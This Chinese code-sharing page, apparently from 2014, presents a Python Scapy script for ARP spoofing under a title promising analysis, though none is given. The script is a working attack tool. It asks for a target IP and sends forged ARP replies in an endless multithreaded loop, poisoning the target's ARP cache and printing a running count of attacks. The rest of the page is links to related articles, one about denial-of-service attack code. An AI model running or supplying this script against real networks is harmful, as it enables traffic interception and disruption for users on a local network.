python发送arp欺骗攻击代码分析


Posted in Python onJanuary 16, 2014
# -*- coding: cp936 -*-
from scapy.all import *
from threading import Thread,Lock,activeCount
BROADCASTMAC = getmacbyip('192.168.0.120')
class Loop(Thread):
    def __init__(self,ip):
        Thread.__init__(self)
        self.ip = ip
    def run(self):
        global BROADCASTMAC
        arp = ARP()
        arp.psrc = '192.168.0.251'
        arp.hwsrc = BROADCASTMAC
        arp.pdst = self.ip
        arp.op = 2
        sr1(arp,verbose = 0,retry = 0,timeout = 3)
class Main(Thread):
    def __init__(self,ip):
        Thread.__init__(self)
        self.ip = ip
    def run(self):
        limit = 100
        total = 0
        while True:
            if activeCount() < limit:
                Loop(self.ip).start()
                total = total + 1
            print '目前已进行了ARP攻击的次数为:'+str(total)
if __name__ == '__main__':
    ip = raw_input('请输入要进行ARP攻击的机器IP:')
    Main(ip = ip).start()
Python 相关文章推荐
Python isinstance判断对象类型
Sep 06 Python
Python sys.path详细介绍
Oct 17 Python
Python学习小技巧之利用字典的默认行为
May 20 Python
Django+Ajax+jQuery实现网页动态更新的实例
May 28 Python
修改默认的pip版本为对应python2.7的方法
Nov 06 Python
原来我一直安装 Python 库的姿势都不对呀
Nov 11 Python
如何利用pygame实现简单的五子棋游戏
Dec 29 Python
Python %r和%s区别代码实例解析
Apr 03 Python
基于Python第三方插件实现西游记章节标注汉语拼音的方法
May 22 Python
Python tkinter界面实现历史天气查询的示例代码
Aug 23 Python
如何用python爬取微博热搜数据并保存
Feb 20 Python
python数据处理之Pandas类型转换
Apr 28 Python
分析python服务器拒绝服务攻击代码
Jan 16 #Python
python获取豆瓣电影简介代码分享
Jan 16 #Python
linux系统使用python获取cpu信息脚本分享
Jan 15 #Python
linux系统使用python监测系统负载脚本分享
Jan 15 #Python
linux系统使用python获取内存使用信息脚本分享
Jan 15 #Python
linux系统使用python监测网络接口获取网络的输入输出
Jan 15 #Python
linux系统使用python监控apache服务器进程脚本分享
Jan 15 #Python
You might like
一个php作的文本留言本的例子(一)
2006/10/09 PHP
php &amp;&amp; 逻辑与运算符使用说明
2010/03/04 PHP
PHP实现的MongoDB数据库操作类分享
2014/05/12 PHP
smarty中post用法实例
2014/11/28 PHP
php基于闭包实现函数的自调用(递归)实例分析
2016/11/11 PHP
php + ajax 实现的写入数据库操作简单示例
2020/05/16 PHP
MC Dialog js弹出层 完美兼容多浏览器(5.6更新)
2010/05/06 Javascript
推荐40款强大的 jQuery 导航插件和教程(上篇)
2012/09/14 Javascript
Ext4.2的Ext.grid.plugin.RowExpander无法触发事件解决办法
2014/08/15 Javascript
javascript动态创建链接的方法
2015/05/13 Javascript
jqGrid表格应用之新增与删除数据附源码下载
2015/12/02 Javascript
JavaScript操作class和style样式代码详解
2016/02/13 Javascript
jQuery EasyUI 入门必看
2016/06/03 Javascript
jQuery解析XML 详解及方法总结
2016/09/28 Javascript
Bootstrap简单表单显示学习笔记
2016/11/15 Javascript
angularJS实现动态添加,删除div方法
2018/02/27 Javascript
详解webpack 最简打包结果分析
2019/02/20 Javascript
详解vue配置后台接口方式
2019/03/29 Javascript
layui自定义验证,用ajax查询后台是否有重复数据,form.verify的例子
2019/09/06 Javascript
node 文件上传接口的转发的实现
2019/09/23 Javascript
Vue数据双向绑定原理实例解析
2020/05/15 Javascript
python输入整条数据分割存入数组的方法
2018/11/13 Python
pygame游戏之旅 添加游戏介绍
2018/11/20 Python
Python自动化运维之Ansible定义主机与组规则操作详解
2019/06/13 Python
树莓派用python中的OpenCV输出USB摄像头画面
2019/06/22 Python
通过代码实例解析Pytest运行流程
2020/08/20 Python
VICHY薇姿英国官网:全球专业敏感肌护肤领先品牌
2017/07/04 全球购物
美国林业供应商:Forestry Suppliers
2019/05/01 全球购物
abstract class和interface有什么区别
2013/08/04 面试题
解释i节点在文件系统中的作用
2013/11/26 面试题
大学生简单自荐信
2013/11/10 职场文书
入学申请自荐信范文
2014/02/26 职场文书
yy婚礼司仪主持词
2014/03/14 职场文书
nginx搭建图片服务器的过程详解(root和alias的区别)
2021/03/31 Servers
浅谈MySQL函数
2021/10/05 MySQL
如何优化vue打包文件过大
2022/04/13 Vue.js